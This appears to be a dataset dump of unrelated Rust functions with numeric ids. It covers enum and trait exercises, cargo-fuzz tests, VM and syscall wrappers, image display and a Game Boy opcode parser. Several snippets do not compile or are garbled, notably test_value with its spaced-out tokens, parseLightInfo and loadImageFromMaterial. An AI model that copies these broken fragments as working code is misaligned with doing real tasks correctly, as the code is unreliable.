content
stringlengths
12
12.8k
id
int64
0
359
fn reflect(v: &Vec3, n: &Vec3) -> Vec3 { *v - *n * 2.0 * dot(v, n) }
100
fn main() {}
101
pub fn channel_put<T: Any + Clone>(target: CAddr, value: T) { system_call_put_payload(SystemCall::ChannelPut { request: (target, ChannelMessage::Payload) }, value); }
102
fn enum_test() { // enum Ordering { // Less, // Equal, // Greater / 2.0 // } use std::cmp::Ordering; fn compare(n: i32, m: i32) -> Ordering { if n < m { Ordering::Less } else if n > m { Ordering::Greater } else { Ordering::Equal } } // use std::cmp::Ordering::*; // fn compare(n: i32, m: i32) -> Ordering { // if n < m { // Less // } else if n > m { // Greater // } else { // Equal // } // } // enum Pet { // Orca, // Giraffe, // } // use self::Pet::*; #[derive(Debug, PartialEq)] enum HttpStatus { Ok = 200, NotModified = 304, NotFound = 404, } use std::mem::size_of; assert_eq!(size_of::<Ordering>(), 1); assert_eq!(size_of::<HttpStatus>(), 2); // 404 doesn't fit in a u8 assert_eq!(HttpStatus::Ok as i32, 200); fn http_status_from_u32(n: u32) -> Option<HttpStatus> { match n { 200 => Some(HttpStatus::Ok), 304 => Some(HttpStatus::NotModified), 404 => Some(HttpStatus::NotFound), _ => None, } } let status = http_status_from_u32(404).unwrap(); // assert_eq!(status as i32, 404); assert_eq!(status, HttpStatus::NotFound); #[derive(Copy, Clone, Debug, PartialEq)] enum TimeUnit { Seconds, Minutes, Hours, Days, Months, Years, } impl TimeUnit { /// Return the plural noun for this time unit. fn plural(self) -> &'static str { match self { TimeUnit::Seconds => "seconds", TimeUnit::Minutes => "minutes", TimeUnit::Hours => "hours", TimeUnit::Days => "days", TimeUnit::Months => "months", TimeUnit::Years => "years", } } /// Return the singular noun for this time unit. fn singular(self) -> &'static str { self.plural().trim_right_matches('s') } } /// A timestamp that has been deliberately rounded off, so our program /// says "6 monthes ago" instead of "February 9, 2016, at 9:49 AM". #[derive(Copy, Clone, Debug, PartialEq)] enum RoughTime { InThePast(TimeUnit, u32), JustNow, InTheFuture(TimeUnit, u32), } let four_score_and_seven_years_ago = RoughTime::InThePast(TimeUnit::Years, 4 * 20 + 7); let three_hours_from_now = RoughTime::InTheFuture(TimeUnit::Hours, 3); struct Point3d(u32, u32, u32); enum Shape { Sphere { center: Point3d, radius: f32 }, Cubold { corner1: Point3d, corner2: Point3d }, } let unit_sphere = Shape::Sphere { center: Point3d(0, 0, 0), radius: 1.0, }; // enum RelationshipStatus { // Single, // InARelationship, // ItsComplicated(Option<String>), // ItsExtremelyComplicated { // car: DifferentialEquation, // cdr: EarlyModernistPoem // } // } // use std::collections::HashMap; enum Json { Null, Boolean(bool), Number(f64), String(String), Array(Vec<Json>), Object(Box<HashMap<String, Json>>), } // An ordered collection of `T`s enum BinaryTree<T> { Empty, NonEmpty(Box<TreeNode<T>>), } // A part of a BinaryTree. struct TreeNode<T> { element: T, left: BinaryTree<T>, right: BinaryTree<T>, } let jupiter_tree = BinaryTree::NonEmpty(Box::new(TreeNode { element: "Jupiter", left: BinaryTree::Empty, right: BinaryTree::Empty, })); let mercury_tree = BinaryTree::NonEmpty(Box::new(TreeNode { element: "Mercury", left: BinaryTree::Empty, right: BinaryTree::Empty, })); let uranus_tree = BinaryTree::NonEmpty(Box::new(TreeNode { element: "Uranus", left: BinaryTree::Empty, right: BinaryTree::Empty, })); let mars_tree = BinaryTree::NonEmpty(Box::new(TreeNode { element: "Mars", left: jupiter_tree, right: mercury_tree, })); let tree = BinaryTree::NonEmpty(Box::new(TreeNode { element: "Saturn", left: mars_tree, right: uranus_tree, })); // let mut tree = BinaryTree::Empty; // for planet in planets { // tree.add(planet); // } // 10.2 fn rough_time_to_english(rt: RoughTime) -> String { match rt { RoughTime::InThePast(units, count) => format!("{}, {} ago", count, units.plural()), RoughTime::JustNow => format!("just now"), RoughTime::InTheFuture(units, 1) => format!("a {} from now", units.plural()), RoughTime::InTheFuture(units, count) => { format!("{}, {} from now", count, units.plural()) } } } rough_time_to_english(four_score_and_seven_years_ago); // 10.2.1 // match meadow.count_rabbits() { // 0 => {} // nothing to say // 1 => println!("A rabbit is nosing around inthe clover."), // n => println!("There are {} rabbits hopping about in the meadow", n) // } // // let calendar = // match settings.get_string("calendar") { // "gregorian" => Calendar::Gregorian, // "chinese" => Calendar::Chinese, // "ethiopian" => Calendar::Ethiopian, // other => return parse_error("calendar", other) // }; // let caption = // match photo.tagged_pet() { // Pet::Tyrannosaur => "RRRRAAAAAHHHHH", // Pet::Samoyed => "*dog thoughts*", // _ => "I'm cute, love me" // generic caption, works for any pet // } // // there are many Shapes, but we only support "selecting" // // either some text, or everything in a rectangular area. // // You can't select an ellipse or trapezoid. // match document.selection() { // Shape::TextSpan(start, end) => paint_text_selection(start, end), // Shape::Rectangle(rect) => paint_rect_selection(rect), // _ => panic!("unexpected selection type") // } // // fn check_move(current_hex: Hex, click: Point) -> game::Result<Hex> { // match point_to_hex(click) { // None => // Err("That's not a game space."), // Some(current_hex) => // try to match if user clicked the current_hex // // (if doesn't work) // Err("You are already there! You must click somewhere else."), // Some(other_hex) => // Ok(other_hex) // } // } // // fn check_move(current_hex: Hex, click: Point) -> game::Result<Hex> { // match point_to_hex(click) { // None => // Err("That's not a game space."), // Some(hex) => // if hex == current_hex { // Err("You are already there! You must click somewhere else."), // } else { // Ok(hex) // } // Some(other_hex) => // Ok(other_hex) // } // } // // fn describe_point(x: i32, y: i32) -> &'static str { // use std::cmp::Ordering::*; // match (x.cmp(&0), y.cmp(&0) { // (Equal, Equal) -> "at the origin", // (_, Equal) => "on the x axis", // (Equal, _) => "on the y axis", // (Greater, Greater) => "in the first quadrant", // (Less, Grater) => "in the second quadrant", // _ => "somewhere else" // } // } // // match balloon.location { // Point { x: 0, y: height } => // println!("straight up {} meters", height), // Point { x: x, y: y } => // println!("at ({}m, {}m)", x, y); // } // // match get_acount(id) { // Some(Account { name, language, .. {) => // language.show_custom_greeting(name) // } // // 10.2.3 // // match account { // Account { name, language, .. } => { // ui.greet(&name, &language); // ui.show_settigs(&account); // error: use of moved value `account` // } // } // match account { // Account { ref name, ref language, .. } => { // ui.greet(name, language); // ui.show_settings(&account); // ok // } // } // // match line_result { // Err(ref err) => log_error(err), // `err` is &Error (shared ref) // Ok(ref mut line) -> { // `line` is &mut String (mut ref) // trim_comments(line); // modify the String in place // handle(line); // } // } // // match sphere.center() { // &Point3d { x, y, z } => ... // } // // match friend.borrow_car() { // Some(&Car { engine, .. }) => // error: can't move out of borrow // ... // None -> {} // } // // Some(&Car {ref engine, .. }) => // ok, engine is a reference // // match chars.peek() { // Some(&c) -> println!("coming up: {:?}", c), // None =-> println!("end of chars") // } // // 10.2.4 // // let at_end = // match chars.peek() { // Some(&'\r') | Some(&'\n') | None => true, // _ => false // }; // match next_char { // '0' ... '9' => // self.read_number(), // 'a' ... 'z' | 'A' ... 'Z' => // self.read_word(), // ' ' | '\t' | '\n' => // self.skip_whitespace(), // _ => // self.handle_punctuation() // } // // 10.2.5 // // match robot.last_known_location() { // Some(point) if self.distance_to(point) < 10 => // short_distance_strategy(point), // Some(point) -> // long_distance_strategy(point), // None -> // searching_strategy() // } // // 10.2.6 // // match self.get_selection() { // Shape::Rect(top_left, bottom_right) -> // optimized_paint(&Shape::Rect(top_left, bottom_right)), // other_shape => // paint_outline(other_shape.get_outline()), // } // // rect @ Shape::Rect(..) -> optimized_paint(&rect) // // match chars.next() { // Some(digit @ '0' ... '9') => read_number(disit, chars), // } // // 10.2.7 // // // ...unpack a struct into three new local variables // let Track { album, track_number, title, ..} = song; // // // ...unpack a function argument that's a tuple // fn distance_to((x,y): (f64, f64)) -> f64 { ... } // // // ...iterate over keys and values of a HashMap // for (id, document) in &cache_map { // println!("Document #{}: {}", id, document.title); // } // // // ...automatically dereference an argument to a closure // // (handy because sometimes other code passes you a reference // // when you'd rather have a copy) // let sum = numbers.fold(0, |a, &num| a + num); // // // ...handle just one enum variant specially // if let RoughTime::InTheFuture(_, _) = user.date_of_birth() { // user.set_time_traveler(true); // } // // // ...run some code only if a table lookup succeeds // if let Some(document) = cache_map.get(&id) { // return send_cached_response(document); // } // // // ...repeatedly try something until it succeeds // while let Err(err) = present_cheesy_anti_robot_task() { // log_robot_attempt(err); // // let the user try again (it might still be a human) // } // // // ...manually loop over an iterator // while let Some(_) = lines.peek() { // read_paragraph(&mut lines); // } // // 10.2.8 impl<T: Ord> BinaryTree<T> { fn add(&mut self, value: T) { match *self { BinaryTree::Empty => { *self = BinaryTree::NonEmpty(Box::new(TreeNode { element: value, left: BinaryTree::Empty, right: BinaryTree::Empty, })) } BinaryTree::NonEmpty(ref mut node) => { if value <= node.element { node.left.add(value); } else { node.right.add(value); } } } } } let mut add_tree = BinaryTree::Empty; add_tree.add("Mercury"); add_tree.add("Venus"); }
103
fn system_call_put_payload<T: Any>(message: SystemCall, payload: T) -> SystemCall { use core::mem::{size_of}; let addr = task_buffer_addr(); unsafe { let buffer = &mut *(addr as *mut TaskBuffer); buffer.call = Some(message); buffer.payload_length = size_of::<T>(); let payload_addr = &mut buffer.payload_data as *mut _ as *mut T; let payload_data = &mut *payload_addr; *payload_data = payload; system_call_raw(); buffer.call.take().unwrap() } }
104
fn main() { let args: Vec<String> = std::env::args().collect(); if args.len() < 2 { eprintln!("Syntax: {} <filename>", args[0]); return; } let path = Path::new(&args[1]); let display = path.display(); let mut file = match File::open(&path) { Err(why) => panic!("Could not open file: {} (Reason: {})", display, why.description()), Ok(file) => file }; // read the full file into memory. panic on failure let mut raw_file = Vec::new(); file.read_to_end(&mut raw_file).unwrap(); // construct a cursor so we can seek in the raw buffer let mut cursor = Cursor::new(raw_file); let mut image = match decode_ppm_image(&mut cursor) { Ok (img) => img, Err(why) => panic!("Could not parse PPM file - Desc: {}", why.description()), }; show_image(&image); }
105
pub fn test_contains_ckbforks_section() { let buffer = fs::read("tests/programs/ckbforks").unwrap(); let ckbforks_exists_v0 = || -> bool { let elf = goblin_v023::elf::Elf::parse(&buffer).unwrap(); for section_header in &elf.section_headers { if let Some(Ok(r)) = elf.shdr_strtab.get(section_header.sh_name) { if r == ".ckb.forks" { return true; } } } return false; }(); let ckbforks_exists_v1 = || -> bool { let elf = goblin_v040::elf::Elf::parse(&buffer).unwrap(); for section_header in &elf.section_headers { if let Some(Ok(r)) = elf.shdr_strtab.get(section_header.sh_name) { if r == ".ckb.forks" { return true; } } } return false; }(); assert_eq!(ckbforks_exists_v0, true); assert_eq!(ckbforks_exists_v1, true); }
106
fn set_screen(n: u8, disp: &mut Screen) { let color_name = match n { 1 => { "red" }, 2 => { "yellow" } 3 => { "white" } 4 => { "aqua" } 5 => { "purple" } 6 => { "blue" } _ => { "black" } }; disp.clear(); let style = TextStyleBuilder::new(Font8x16) .text_color(BinaryColor::On) .build(); Text::new(color_name, Point::zero()) .into_styled(style) .draw(disp) .unwrap(); disp.flush(); }
107
const fn null_ble_gatt_svc_def() -> ble_gatt_svc_def { return ble_gatt_svc_def { type_: BLE_GATT_SVC_TYPE_END as u8, uuid: ptr::null(), includes: ptr::null_mut(), characteristics: ptr::null(), }; }
108
pub fn ap(f: Value, arg: Value) -> Value { Rc::new(RefCell::new(V { val: Value_::Apply(f, arg), computed: false, })) }
109
fn parse_peers_str(peers_str: &str) -> AppResult<Vec<Peer>> { let peers_str: Vec<&str> = peers_str.split(",").collect(); let peers: Vec<Peer> = peers_str .into_iter() .map(|it| { let peer = it.parse(); peer.unwrap() }) .collect(); Ok(peers) }
110
fn handle_task(client: &mut Client, main_out_c: Sender<String>) { let (channel_out, channel_in) = unbounded(); let task_types = TaskCommandTypes::new(); // walk over the task queue. For any task_queue.state == 0, handle it. for task in &mut client.task_queue { // all tasks will have at least 1 iteration, but may have more. We also may have a sleep // between iterations let duration = (task.iteration_delay * 1000) as u64; let sleep_duration = time::Duration::from_millis(duration); for _iteration in 0..task.iterations { let task_type = task_types.determine_task_type(task.command_type); if task_type == "filesystem" { // start the filesystem thread and go go go let out_c = channel_out.clone(); filesystem::handle_filesystem(task, out_c); task.state = 1; } // peek into the channel from our thread to see if there is data // if there is, send it back if let Ok(resp_from_thread) = channel_in.try_recv() { println!("handle_task got something: {}", &resp_from_thread); // should send the task ID back out if successful. Otherwise, an err string main_out_c.send(resp_from_thread).unwrap(); task.state = 2; } thread::sleep(sleep_duration); } } }
111
fn parseLightInfo(reader: &mut BufReader<&File>, buf: &mut String, lights: &mut Vec<Light>) -> Model { let mut light = Light { lightType: "" as str, radius: 0.0, period: 0, position: Vec3f::new(0.0, 0.0, 0.0), Color: Vec3f::new(0.0, 0.0, 0.0), }; //Firstly, read the LigthType reader.read_line(buf); let lightType: &str = buf.trim().clone(); let mut key = ""; let mut radius = ""; let mut period = 0; if lightType == "o" || lightType == "l" { let mut infoIndex = 0; reader.read_line(buf); let mut split_info = buf.split(" "); key = split_info.next().unwrap().parse().unwrap(); radius = split_info.next().unwrap().parse().unwrap(); period = split_info.next().unwrap().parse().unwrap(); } let mut infoIndex = 0; while infoIndex < 2 { //Then, read the position and Color Info split_info = buf.split(" "); let mut fieldInfo = 0; reader.read_line(buf); let mut split_info = buf.split(" "); key = split_info.next().unwrap().parse().unwrap(); if infoIndex == 1 { light.position = Vec3f::new( x: split_info.next().unwrap().parse().unwrap(), y: split_info.next().unwrap().parse().unwrap(), z: split_info.next().unwrap().parse().unwrap(), ) } else { light.Color = Vec3f::new( x: split_info.next().unwrap().parse().unwrap(), y: split_info.next().unwrap().parse().unwrap(), z: split_info.next().unwrap().parse().unwrap(), ) } infoIndex += 1 } //Finally, we only need to read an empty line to finish the model parsing process reader.read_line(buf); lights.push(light); }
112
pub fn get_history(history_type: HistoryType) -> Result<String, ()> { let configurator = Configurator::new(); let history = configurator.get_history(history_type); // filter out empty string and not exist history path let clean_history: Vec<&String> = match history_type { HistoryType::WorkingFolder => history .into_iter() .filter(|s| !s.is_empty()) .filter(|s| Path::new(s).is_dir()) .collect::<Vec<_>>(), _ => history .into_iter() .filter(|s| !s.is_empty()) .filter(|s| Path::new(s).is_file()) .collect::<Vec<_>>(), }; let history_json_text = serde_json::to_string(&clean_history).unwrap_or_else(|_| String::from("[]")); Ok(history_json_text) }
113
fn run_alt_corpus() { let corpus = Path::new("fuzz").join("corpus").join("run_alt"); let alt_corpus = Path::new("fuzz").join("alt-corpus").join("run_alt"); let project = project("run_alt_corpus") .with_fuzz() .fuzz_target( "run_alt", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { assert!(data.len() <= 1); }); "#, ) .file(corpus.join("fail"), "fail") .file(alt_corpus.join("pass-0"), "0") .file(alt_corpus.join("pass-1"), "1") .file(alt_corpus.join("pass-2"), "2") .build(); project .cargo_fuzz() .arg("run") .arg("run_alt") .arg(&alt_corpus) .arg("--") .arg("-runs=0") .assert() .stderr( predicate::str::contains("3 files found in fuzz/alt-corpus/run_alt") .and(predicate::str::contains("fuzz/corpus/run_alt").not()) // libFuzzer will always test the empty input, so the number of // runs performed is always one more than the number of files in // the corpus. .and(predicate::str::contains("Done 4 runs in")), ) .success(); }
114
pub fn init( src: String, dst: String, width: u32, ) -> std::io::Result<()> { let mut logger = env_logger::Builder::new(); logger.init(); let mut window = Window::new((width, 200)).unwrap(); let mut popup = Popup::new(width, window.hidpi); let mut renderer = popup.get_renderer(&mut window.handle); window.run(&mut popup, &mut renderer); Ok(()) }
115
fn parse_bors_reviewer( reviewers: &Reviewers, repo: &Repository, commit: &Commit, ) -> Result<Option<Vec<Author>>, ErrorContext> { if commit.author().name_bytes() != b"bors" || commit.committer().name_bytes() != b"bors" { if commit.committer().name_bytes() != b"GitHub" || !is_rollup_commit(commit) { return Ok(None); } } // Skip non-merge commits if commit.parents().count() == 1 { return Ok(None); } let to_author = |list: &str| -> Result<Vec<Author>, ErrorContext> { list.trim_end_matches('.') .split(|c| c == ',' || c == '+') .map(|r| r.trim_start_matches('@')) .map(|r| r.trim_end_matches('`')) .map(|r| r.trim()) .filter(|r| !r.is_empty()) .filter(|r| *r != "<try>") .inspect(|r| { if !r.chars().all(|c| { c.is_alphabetic() || c.is_digit(10) || c == '-' || c == '_' || c == '=' }) { eprintln!( "warning: to_author for {} contained non-alphabetic characters: {:?}", commit.id(), r ); } }) .map(|r| { reviewers.to_author(r).map_err(|e| { ErrorContext( format!("reviewer: {:?}, commit: {}", r, commit.id()), e.into(), ) }) }) .flat_map(|r| r.transpose()) .collect::<Result<Vec<_>, ErrorContext>>() }; let message = commit.message().unwrap_or(""); let mut reviewers = if let Some(line) = message.lines().find(|l| l.contains(" r=")) { let start = line.find("r=").unwrap() + 2; let end = line[start..] .find(' ') .map(|pos| pos + start) .unwrap_or(line.len()); to_author(&line[start..end])? } else if let Some(line) = message.lines().find(|l| l.starts_with("Reviewed-by: ")) { let line = &line["Reviewed-by: ".len()..]; to_author(&line)? } else { // old bors didn't include r= if message != "automated merge\n" { panic!( "expected reviewer for bors merge commit {} in {:?}, message: {:?}", commit.id(), repo.path(), message ); } return Ok(None); }; reviewers.sort(); reviewers.dedup(); Ok(Some(reviewers)) }
116
fn trait_test() { { use std::io::Write; fn say_hello(out: &mut Write) -> std::io::Result<()> { out.write_all(b"hello world\n")?; out.flush() } // use std::fs::File; // let mut local_file = File::create("hello.txt"); // say_hello(&mut local_file).expect("error"); // could not work, now let mut bytes = vec![]; say_hello(&mut bytes).expect("error"); // works assert_eq!(bytes, b"hello world\n"); // 11.1 let mut buf: Vec<u8> = vec![]; buf.write_all(b"hello").expect("error"); } // 11.1.1 { use std::io::Write; let mut buf: Vec<u8> = vec![]; // let writer: Write = buf; // error: `Write` does not have a constant size let writer: &mut Write = &mut buf; // ok writer.write_all(b"hello").expect("error"); assert_eq!(buf, b"hello"); } // 11.1.3 { use std::io::Write; fn say_hello<W: Write>(out: &mut W) -> std::io::Result<()> { out.write_all(b"hello world\n")?; out.flush() } let mut buf: Vec<u8> = vec![]; buf.write_all(b"hello").expect("error"); buf::<Vec>.write_all(b"hello").expect("error"); // let v1 = (0 .. 1000).collect(); // error: can't infer type let v2 = (0..1000).collect::<Vec<i32>>(); // ok // /// Run a query on large, partitioned data set. // /// See <http://research.google.com/archive/mapreduce.html>. // fn run_query<M: Mapper + Serialize, R: Reducer + Serialize>(data: &dataSet, map: M, reduce: R) -> Results { // } // // fun run_query<M, R>(data: &Dataset, map: M, reduce: R) -> Results // where M: Mapper + Serialize, // R: Reducer + Serialize // {} // fn nearest<'t, 'c, P>(target: &'t P, candidates: &'c [P]) -> &'c P // where P: MeasureDistance // {} // // impl PancakeStack { // fn Push<:T Topping>(&mut self, goop: T) - PancakeResult<()> { // } // } // type PancakeResult<T> = Result<T, PancakeError>; } { // struct Broom { // name: String, // height: u32, // health: u32, // position: (f32, f32, f32), // intent: BroomIntent, // } // impl Broom { // fn boomstick_range(&self) -> Range<i32> { // self.y - self.height - 1 .. self.y // } // } // trait Visible { // fn draw(&self, canvas: &mut Canvas); // fn hit_test(&self, x: i32, y: i32) -> bool; // } // impl Visible for Broom { // fn draw(&self, canvas: &mut Canvas) { // //for y in self.y - self.height - 1 .. self.y { // for y in self.broomstick_range() { // canvas.write_at(self.x, y, '|'); // } // canvas.write_at(self.x, y, 'M'); // } // } // fn hit_test(&self, x: i32, y:i32) -> bool { // self.x == x // && self.y - self.height - 1 <= y // && y <- self.y // } } { // 11.2.1 /// A writer that ignores whatever data you write to it. pub struct Sink; use std::io::{Result, Write}; impl Write for Sink { fn write(&mut self, buf: &[u8]) -> Result<usize> { Ok(buf.len()) } fn flush(&mut self) -> Result<()> { Ok(()) } } } { // 11.2.2 trait IsEmoji { fn is_emoji(&self) -> bool; } impl IsEmoji for char { fn is_emoji(&self) -> bool { return false; } } assert_eq!('$'.is_emoji(), false); use std::io::{self, Write}; struct HtmlDocument; trait WriteHtml { fn write_html(&mut self, html: &HtmlDocument) -> std::io::Result<()>; } impl<W: Write> WriteHtml for W { fn write_html(&mut self, html: &HtmlDocument) -> io::Result<()> { Ok(()) } } extern crate serde; use serde::Serialize; use serde_json; use std::collections::HashMap; use std::fs::File; pub fn save_configuration(config: &HashMap<String, String>) -> std::io::Result<()> { let writer = File::create("test.json").expect("error"); let mut serializer = serde_json::Serializer::new(writer); config.serialize(&mut serializer).expect("error"); Ok(()) } { // 11.2.3 } } }
117
fn map_message(tok: IRCToken) -> Result<IRCToken, ~str> { // Sequence(~[Sequence(~[Sequence(~[Unparsed(~":"), PrefixT(irc::Prefix{nick: ~"tiffany", user: ~"lymia", host: ~"hugs"}), Ignored])]), Unparsed(~"PRIVMSG"), Sequence(~[Params(~[~"##codelab", ~"hi"])])]) match tok { Sequence([Sequence([Sequence([Unparsed(~":"), PrefixT(prefix), Ignored])]), Unparsed(cmd), Sequence([Params(params)])]) => Ok(MessageT(Message {prefix: Some(prefix), command: cmd, params: params})), Sequence([Sequence([]), Unparsed(cmd), Sequence([Params(params)])]) => Ok(MessageT(Message {prefix: None, command: cmd, params: params})), _ => Err(fmt!("Malformed message: %?", tok)) } }
118
fn test_value ( ) - > Result < ( ) > { let db = checked_memory_handle ( ) ? ; db . execute ( " INSERT INTO foo ( i ) VALUES ( ? 1 ) " [ Value : : Integer ( 10 ) ] ) ? ; assert_eq ! ( 10i64 db . one_column : : < i64 > ( " SELECT i FROM foo " ) ? ) ; Ok ( ( ) ) }
119
fn main() { let file_name = "input.txt"; let instructions = parse_file(file_name); let (registers, largest_value) = process_instructions(&instructions); println!("Day 8, part 1: {}", get_largest_register_value(&registers)); println!("Day 8, part 2: {}", largest_value); }
120
fn loadImageFromMaterial(model: &mut Model, materialPath: &str) { model.albedo_map = materialPath + "_albedo.png"; model.normal_map = materialPath + "_normal.png"; model.ambient_ligth = materialPath + "_ao.png"; model.roughness_map = materialPath + "_rough.png" }
121
pub fn test_custom_syscall() { let buffer = fs::read("tests/programs/syscall64").unwrap().into(); let core_machine = DefaultCoreMachine::<u64, SparseMemory<u64>>::new(ISA_IMC, VERSION0, u64::max_value()); let mut machine = DefaultMachineBuilder::new(core_machine) .syscall(Box::new(CustomSyscall {})) .build(); machine .load_program(&buffer, &vec!["syscall".into()]) .unwrap(); let result = machine.run(); assert!(result.is_ok()); assert_eq!(result.unwrap(), 39); }
122
fn parse_prefix_command(rom: &[u8]) -> Option<Box<dyn Instruction>> { let opcode = rom[0]; match opcode { /* RLC r */ 0x00...0x07 => unimplemented!("RLC r"), /* RRC r */ 0x08...0x0F => unimplemented!("RRC r"), /* RL B */ 0x10 => cmd!(alu::RotateRegisterLeft(r8!(B))), /* RL C */ 0x11 => cmd!(alu::RotateRegisterLeft(r8!(C))), /* RL D */ 0x12 => cmd!(alu::RotateRegisterLeft(r8!(D))), /* RL E */ 0x13 => cmd!(alu::RotateRegisterLeft(r8!(E))), /* RL H */ 0x14 => cmd!(alu::RotateRegisterLeft(r8!(H))), /* RL L */ 0x15 => cmd!(alu::RotateRegisterLeft(r8!(L))), /* RL A */ 0x17 => cmd!(alu::RotateRegisterLeft(r8!(A))), /* RL (HL) */ 0x16 => unimplemented!("RL (HL)"), /* RR r */ 0x17...0x1F => unimplemented!("RR r"), /* SLA r */ 0x20...0x27 => unimplemented!("SLA r"), /* SRA r */ 0x27...0x2F => unimplemented!("SRA r"), /* BIT 0,r */ 0x40...0x47 => unimplemented!("BIT 0,r"), /* BIT 1,r */ 0x47...0x4F => unimplemented!("BIT 1,r"), /* BIT 7,r */ 0x78...0x7F => { let bit: u8 = 0b1000_0000; let register = match opcode { 0x78 => Register8::B, 0x79 => Register8::C, 0x7A => Register8::D, 0x7B => Register8::E, 0x7C => Register8::H, 0x7D => Register8::L, // 0x7E => TargetRegister::HL, 0x7F => Register8::A, _ => unreachable!() }; cmd!(alu::Bit { bit, register }) }, _ => None } }
123
fn get_common_chars(box_one: &String, box_two: &String) -> String { box_one.chars() .zip(box_two.chars()) .filter(|ch| ch.0 == ch.1) .map(|ch| ch.0) .collect() }
124
pub fn open_and_read() { let path = Path::new("hello.txt"); let display = path.display(); let mut file = match File::open(&path) { Err(why) => { println!("couldn't open {}: {}", display, why.description()); return; }, Ok(f) => f, }; let mut s = String::new(); match file.read_to_string(&mut s) { Err(e) => { println!("couldn't read {}:{}", display, e.description()); return; }, Ok(_) => { println!("{} contains:\n{}", display, s); } } }
125
fn show_image(image: &Image) { let sdl = sdl2::init().unwrap(); let video_subsystem = sdl.video().unwrap(); let display_mode = video_subsystem.current_display_mode(0).unwrap(); let w = match display_mode.w as u32 > image.width { true => image.width, false => display_mode.w as u32 }; let h = match display_mode.h as u32 > image.height { true => image.height, false => display_mode.h as u32 }; let window = video_subsystem .window("Image", w, h) .build() .unwrap(); let mut canvas = window .into_canvas() .present_vsync() .build() .unwrap(); let black = sdl2::pixels::Color::RGB(0, 0, 0); let mut event_pump = sdl.event_pump().unwrap(); // render image canvas.set_draw_color(black); canvas.clear(); for r in 0..image.height { for c in 0..image.width { let pixel = &image.pixels[image.height as usize - r as usize - 1][c as usize]; canvas.set_draw_color(Color::RGB(pixel.R as u8, pixel.G as u8, pixel.B as u8)); canvas.fill_rect(Rect::new(c as i32, r as i32, 1, 1)).unwrap(); } } canvas.present(); 'main: loop { for event in event_pump.poll_iter() { match event { sdl2::event::Event::Quit {..} => break 'main, _ => {}, } } sleep(Duration::new(0, 250000000)); } }
126
pub fn task_set_buffer(target: CAddr, buffer: CAddr) { system_call(SystemCall::TaskSetBuffer { request: (target, buffer), }); }
127
fn write_record_sequence<W>( writer: &mut W, sequence: &Sequence, line_bases: usize, ) -> io::Result<()> where W: Write, { for bases in sequence.as_ref().chunks(line_bases) { writer.write_all(bases)?; writeln!(writer)?; } Ok(()) }
128
fn serializer(msg: String) -> Result<Task, Error> { let v = match serde_json::from_str::<Task>(&msg){ Ok(v) => v, Err(e) => return Err(e) }; Ok(v) }
129
fn run_diagnostic_contains_fuzz_dir() { let (fuzz_dir, mut project_builder) = project_with_fuzz_dir("run_with_crash", None); let project = project_builder .with_fuzz() .fuzz_target( "yes_crash", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { run_with_crash::fail_fuzzing(data); }); "#, ) .build(); let run = format!( "cargo fuzz run --fuzz-dir {} yes_crash custom_dir/artifacts/yes_crash", &fuzz_dir ); let tmin = format!( "cargo fuzz tmin --fuzz-dir {} yes_crash custom_dir/artifacts/yes_crash", &fuzz_dir ); project .cargo_fuzz() .arg("run") .arg("--fuzz-dir") .arg(fuzz_dir) .arg("yes_crash") .arg("--") .arg("-runs=1000") .assert() .stderr(predicates::str::contains(run).and(predicate::str::contains(tmin))) .failure(); }
130
fn main() -> Result<()> { let inss = parse_instructions()?; for (pc, ins) in inss.iter().enumerate() { match ins.op { Operation::Nothing => { // Don't invert zero `nop`s as `jmp +0` results in a loop. if ins.arg != 0 && print_fixed_acc(&inss, Operation::Jump, pc) { break; } } Operation::Jump => { // Finish as soon as one inversion fixes the code. if print_fixed_acc(&inss, Operation::Nothing, pc) { break; } } Operation::Accumulate => {} } } Ok(()) }
131
fn tmin() { let corpus = Path::new("fuzz").join("corpus").join("i_hate_zed"); let test_case = corpus.join("test-case"); let project = project("tmin") .with_fuzz() .fuzz_target( "i_hate_zed", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { let s = String::from_utf8_lossy(data); if s.contains('z') { panic!("nooooooooo"); } }); "#, ) .file(&test_case, "pack my box with five dozen liquor jugs") .build(); let test_case = project.root().join(test_case); project .cargo_fuzz() .arg("tmin") .arg("i_hate_zed") .arg("--sanitizer=none") .arg(&test_case) .assert() .stderr( predicates::str::contains("CRASH_MIN: minimizing crash input: ") .and(predicate::str::contains("(1 bytes) caused a crash")) .and(predicate::str::contains( "โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\ \n\ Minimized artifact:\n\ \n\ \tfuzz/artifacts/i_hate_zed/minimized-from-")) .and(predicate::str::contains( "Reproduce with:\n\ \n\ \tcargo fuzz run --sanitizer=none i_hate_zed fuzz/artifacts/i_hate_zed/minimized-from-" )), ) .success(); }
132
pub fn retype_cpool(source: CAddr, target: CAddr) { system_call(SystemCall::RetypeCPool { request: (source, target), }); }
133
pub fn open_devtools(window: Window) { window.open_devtools() }
134
fn package_url(mirror_url: Url, version: &Version) -> Url { debug!("pakage url"); Url::parse(&format!( "{}/{}/{}", mirror_url.as_str().trim_end_matches('/'), match version { Version::Semver(version) => format!("{}.{}", version.major, version.minor), _ => unreachable!(), }, archive(version), )) .unwrap() }
135
pub fn test_ebreak() { let buffer = fs::read("tests/programs/ebreak64").unwrap().into(); let value = Arc::new(AtomicU8::new(0)); let core_machine = DefaultCoreMachine::<u64, SparseMemory<u64>>::new(ISA_IMC, VERSION0, u64::max_value()); let mut machine = DefaultMachineBuilder::new(core_machine) .debugger(Box::new(CustomDebugger { value: Arc::clone(&value), })) .build(); machine .load_program(&buffer, &vec!["ebreak".into()]) .unwrap(); assert_eq!(value.load(Ordering::Relaxed), 1); let result = machine.run(); assert!(result.is_ok()); assert_eq!(value.load(Ordering::Relaxed), 2); }
136
